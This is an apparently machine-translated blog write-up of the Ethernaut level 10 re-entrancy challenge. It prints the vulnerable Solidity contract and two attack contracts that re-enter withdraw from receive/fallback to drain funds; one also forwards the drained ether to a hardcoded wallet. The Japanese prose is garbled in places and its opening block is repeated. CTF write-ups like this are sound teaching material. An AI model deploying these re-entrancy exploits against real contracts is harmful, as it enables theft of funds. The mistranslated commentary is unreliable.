Ethernaut 10
level 10 : Re-entrancy
ソリディティの弱点で有名な再攻撃だ.
ここは説明がうまい.
https://medium.com/proofer-tech/%EC%8A%A4%EB%A7%88%ED%8A%B8-%EC%BB%A8%ED%8A%B8%EB%9E%99%ED%8A%B8-%EB%B3%B4%EC%95%88-%EC%9D%B4%EC%8A%88-1-re-entrancy-%EC%9E%AC%EC%A7%84%EC%9E%85%EC%84%B1-7d4caf24803c
まず会議の運営状況を確認したいです.
その関数に因子を加えるとsendTransactionはダメです.ㄲㄲ
Remixで直接コードの作成を開始
callWith:detallコールお金を出して
receive:再攻撃
kill:輪郭の削除
そう言えば、お金はよく寄付されていますが、電話をかけてもお金はもらえません(残高は0、attach:false、残高:1、checkVal:true).callwithトランザクションはよく送信されましたが、結果的に起動していないようです.amountにether値を記入して、単位はWeだと思っていましたが、そうではありません.ドアを通らなかったら?
あるいはreceiveコードには大体お金が書かれていますが、wei単位なので、値段が小さすぎるかもしれません.△攻撃はしていないが、お金をあげるべきだった.
関連部分を修正しても意味がなく、受信は問題のようです.お金を送りましたが、運行状況から見ると、他に問題があるようです...
いいえ、instancedrafth関数から直接食べられました.子供の頃、ゲーム機の貴重な100元が詰まっていたような感じです.18イードで始まった初期資本は6イードに転落した.賭博の危険性
友達のコード
ソリディティの弱点で有名な再攻撃だ.
ここは説明がうまい.
https://medium.com/proofer-tech/%EC%8A%A4%EB%A7%88%ED%8A%B8-%EC%BB%A8%ED%8A%B8%EB%9E%99%ED%8A%B8-%EB%B3%B4%EC%95%88-%EC%9D%B4%EC%8A%88-1-re-entrancy-%EC%9E%AC%EC%A7%84%EC%9E%85%EC%84%B1-7d4caf24803c
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
抽出関数には弱点がある.call経由でetherで送金するアドレスがCAであれば、再侵入攻撃が可能です.まず会議の運営状況を確認したいです.
その関数に因子を加えるとsendTransactionはダメです.ㄲㄲ
Remixで直接コードの作成を開始
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
contract reentrancy {
bool public checkVar;
bool public attack;
address public owner;
address public hogu;
constructor() public payable {
owner = msg.sender;
}
function callDonate(address ct, uint amount) public {
(bool check, ) = ct.call{value: amount}(abi.encodeWithSignature("donate(address)", address(this)));
checkVar = check;
}
function callWith(address ct, uint amount) public {
hogu = ct;
(bool check, ) = ct.call(abi.encodeWithSignature("withdraw(uint)", amount));
checkVar = check;
}
receive() external payable {
(bool check, ) = hogu.call(abi.encodeWithSignature("withdraw(uint)", 10000000000000));
attack = check;
}
function kill() public {
selfdestruct(msg.sender);
}
}
callDonate:denateを呼び出して残高を作成するcallWith:detallコールお金を出して
receive:再攻撃
kill:輪郭の削除
そう言えば、お金はよく寄付されていますが、電話をかけてもお金はもらえません(残高は0、attach:false、残高:1、checkVal:true).callwithトランザクションはよく送信されましたが、結果的に起動していないようです.amountにether値を記入して、単位はWeだと思っていましたが、そうではありません.ドアを通らなかったら?
あるいはreceiveコードには大体お金が書かれていますが、wei単位なので、値段が小さすぎるかもしれません.△攻撃はしていないが、お金をあげるべきだった.
関連部分を修正しても意味がなく、受信は問題のようです.お金を送りましたが、運行状況から見ると、他に問題があるようです...
いいえ、instancedrafth関数から直接食べられました.子供の頃、ゲーム機の貴重な100元が詰まっていたような感じです.18イードで始まった初期資本は6イードに転落した.賭博の危険性
友達のコード
pragma solidity ^0.6.0;
contract Re_enter {
address mine=0xf6b6Fd7cc9b1928dBd302055FeAA3120CAec80A1;
address src;
address target;
uint public money;
bool public suc_donation;
bool public suc_balance;
bool public suc_withdrawing;
bool public suc_fall;
bytes public balance;
address payable owner;
constructor() public payable{
owner=msg.sender;
money=msg.value;
}
function setting(address _src,address _target) public{
src=_src;
target=_target;
}
function donation() public payable{
(bool success, bytes memory data)=target.call{value: money}(abi.encodeWithSignature("donate(address)",src));
suc_donation=success;
}
function balanceof() public{
(bool success, bytes memory data)=target.call(abi.encodeWithSignature("balanceOf(address)",src));
suc_balance=success;
balance=data;
}
function withdrawing() public payable{
(bool success, bytes memory data)=target.call{value: 0}(abi.encodeWithSignature("withdraw(uint256)",1000000000000000000));
suc_withdrawing=success;
}
fallback() external payable {
(bool result,) = mine.call.value(msg.value)("");
(bool success, bytes memory data)=target.call(abi.encodeWithSignature("withdraw(uint256)",3000000000000000000));
suc_fall=success;
}
function kill () public payable {
require(msg.sender == owner);
selfdestruct(owner);
}
}
注意したいのは、5を多く出して、0.1の単位を多く出して、回数が多すぎて、攻撃することができませんReference
この問題について(Ethernaut 10), 我々は、より多くの情報をここで見つけました https://velog.io/@k2822795/Ethernaut-10テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol